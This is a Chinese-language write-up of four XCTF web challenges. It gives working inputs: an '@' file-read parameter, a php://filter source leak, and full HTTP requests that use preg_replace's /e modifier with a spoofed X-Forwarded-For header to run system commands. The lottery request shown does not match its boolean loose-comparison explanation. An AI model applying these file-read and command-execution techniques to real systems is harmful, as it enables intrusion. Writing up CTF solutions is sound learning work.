攻防世界(XCTF)WEB(進階區)write up(一)

 

 

cat

ics-05

ics-06

lottery

 

 

 

Cat

XCTF 4th-WHCTF-2017

 

 輸入域名  輸入普通域名無果  輸入127.0.0.1返回了ping碼的結果 有可能是命令執行 

 

嘗試fuzz命令執行  特殊符號

 

 

 

 

 

看了wp漲了點姿勢 %80之後的url編碼)就可以返回Django報錯  

%80後的字符結合報錯信息UnicodeEncodeError可以推斷是由於ascii編碼不支持導致的報錯,根據報錯信息可以得到的信息

 

 

 

 

裏面可以得到項目路徑opt/api/

 

setting.py 配置文件在opt/api/api/下  套一層名爲項目名的文件夾下  默認配置爲數據庫是sqlites

 

  

 

 

網站是使用Django進行開發的,結合PHP可以通過在參數中注入@來讀取文件的漏洞,依次查看python的配置文件和數據庫得到flag的內容

使用@進行文件傳遞,對文件進行讀取之後還會把內容傳給url參數,如果像上面一樣有超出解析範圍的編碼的時候就會得到錯誤信息。

 

我們的目標首先是數據庫文件,看從錯誤信息中能不能拿到flag,可以從配置文件settings.py的報錯中看看有沒有database的相關信息

?url=@/opt/api/api/settings.py

報錯內容搜索database可以得到:

 

 

 

?url=@/opt/api/database.sqlite3

獲取數據庫內容

 

 

 

 

 

 

 

 

ics-05

 

 

 

 

眼花繚亂的 題目描述:其他破壞者會利用工控雲管理系統設備維護中心的後門入侵系統

 

 

http://111.198.29.45:56033/index.php?page=index

 

 

url中有參數拼接  fuzz下  發現是支持僞協議 讀了源碼

?page=php://filter/convert.base64-encode/resource=index.php

 

 

 

//方便的實現輸入輸出的功能,正在開發中的功能,只能內部人員測試

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}

需要將X_FORWARDED_FOR設置爲127.0.0.1,get傳參方式 ‘pattern’ ,’ replacement’,‘subject’ 三個參數傳遞給preg_replace函數。

 

preg_replce e模式會命令執行,進行替換的部分會被執行

GET /index.php?pat=/(.*)/e&rep=system(%27ls%27)&sub=a HTTP/1.1
Host: 111.198.29.45:56033
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-FORWARDED-FOR:127.0.0.1
Cookie: PHPSESSID=sse21lut43grltrqpm15c3u1k0
Connection: close
Upgrade-Insecure-Requests: 1

 

 

 

最後發現flag :

GET /index.php?pat=/(.*)/e&rep=system(%27cat+s3chahahaDir/flag/flag.php%27)&sub=a HTTP/1.1
Host: 111.198.29.45:56033
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-FORWARDED-FOR:127.0.0.1
Cookie: PHPSESSID=sse21lut43grltrqpm15c3u1k0
Connection: close
Upgrade-Insecure-Requests: 1

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ics-06

題目描述:雲平臺報表中心收集了設備管理基礎服務的數據,但是數據被刪除了,只有一處留下了入侵者的痕跡。

http://111.198.29.45:58786/index.php?id=1

 

本來以爲是注入  沒成功

說是有一處留下了痕跡 就遍歷下id  2333時flag   (之前fuzz了很久)

 

 

 

 

 

 

 

 

lottery

這個題稍微有意思點。

 

 

先測試了一下,註冊用戶,購買彩票,拿到足夠的錢,購買flag。

然後掃了下目錄 發現git泄露

 

 

api.php:

<?php
require_once('config.php');
header('Content-Type: application/json');

function response($resp){
    die(json_encode($resp));
}

function response_error($msg){
    $result = ['status'=>'error'];
    $result['msg'] = $msg;
    response($result);
}

function require_keys($req, $keys){
    foreach ($keys as $key) {
        if(!array_key_exists($key, $req)){
            response_error('invalid request');
        }
    }
}

function require_registered(){
    if(!isset($_SESSION['name']) || !isset($_SESSION['money'])){
        response_error('register first');
    }
}

function require_min_money($min_money){
    if(!isset($_SESSION['money'])){
        response_error('register first');
    }
    $money = $_SESSION['money'];
    if($money < 0){
        $_SESSION = array();
        session_destroy();
        response_error('invalid negative money');
    }
    if($money < $min_money){
        response_error('you don\' have enough money');
    }
}


if($_SERVER["REQUEST_METHOD"] != 'POST' || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] != 'application/json'){
    response_error('please post json data');
}

$data = json_decode(file_get_contents('php://input'), true);
if(json_last_error() != JSON_ERROR_NONE){
    response_error('invalid json');
}

require_keys($data, ['action']);

// my boss told me to use cryptographically secure algorithm 
function random_num(){
    do {
        $byte = openssl_random_pseudo_bytes(10, $cstrong);
        $num = ord($byte);
    } while ($num >= 250);

    if(!$cstrong){
        response_error('server need be checked, tell admin');
    }
    
    $num /= 25;
    return strval(floor($num));
}

function random_win_nums(){
    $result = '';
    for($i=0; $i<7; $i++){
        $result .= random_num();
    }
    return $result;
}


function buy($req){
    require_registered();
    require_min_money(2);

    $money = $_SESSION['money'];
    $numbers = $req['numbers'];
    $win_numbers = random_win_nums();
    $same_count = 0;
    for($i=0; $i<7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }
    switch ($same_count) {
        case 2:
            $prize = 5;
            break;
        case 3:
            $prize = 20;
            break;
        case 4:
            $prize = 300;
            break;
        case 5:
            $prize = 1800;
            break;
        case 6:
            $prize = 200000;
            break;
        case 7:
            $prize = 5000000;
            break;
        default:
            $prize = 0;
            break;
    }
    $money += $prize - 2;
    $_SESSION['money'] = $money;
    response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

function flag($req){
    global $flag;
    global $flag_price;

    require_registered();
    $money = $_SESSION['money'];
    if($money < $flag_price){
        response_error('you don\' have enough money');
    } else {
        $money -= $flag_price;
        $_SESSION['money'] = $money;
        $msg = 'Here is your flag: ' . $flag;
        response(['status'=>'ok','msg'=>$msg, 'money'=>$money]);
    }
}

function register($req){
    $name = $req['name'];
    $_SESSION['name'] = $name;
    $_SESSION['money'] = 20;

    response(['status'=>'ok']);
}


switch ($data['action']) {
    case 'buy':
        require_keys($data, ['numbers']);
        buy($data);
        break;

    case 'flag':
        flag($data);
        break;

    case 'register':
        require_keys($data, ['name']);
        register($data);
        break;
    
    default:
        response_error('invalid request');
        break;
}

 

 

 

重點部分:

function buy($req){
    require_registered();
    require_min_money(2);

    $money = $_SESSION['money'];
    $numbers = $req['numbers'];
    $win_numbers = random_win_nums();
    $same_count = 0;
    for($i=0; $i<7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }
    switch ($same_count) {
        case 2:
            $prize = 5;
            break;
        case 3:
            $prize = 20;
            break;
        case 4:
            $prize = 300;
            break;
        case 5:
            $prize = 1800;
            break;
        case 6:
            $prize = 200000;
            break;
        case 7:
            $prize = 5000000;
            break;
        default:
            $prize = 0;
            break;
    }
    $money += $prize - 2;
    $_SESSION['money'] = $money;
    response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

其中 $numbers 來自用戶json輸入 {"action":"buy","numbers":"11111111"},沒有檢查數據類型。 $win_numbers 是隨機生成的數字字符串。
  使用 PHP 弱類型鬆散比較,以"1"爲例,和TRUE,1,"1"相等。 由於 json 支持布爾型數據,因此可以抓包改包,構造數據:

POST /api.php HTTP/1.1
Host: 111.198.29.45:51029
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: http://111.198.29.45:51029/buy.php
Content-Length: 36
Cookie: PHPSESSID=3cb7bb982831ce7bcf4219a605214be5
Connection: close

{"action":"buy","numbers":"1111111"}

 

 

 

 

得到5000000,再來一次就是10000000,可以購買flag了

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章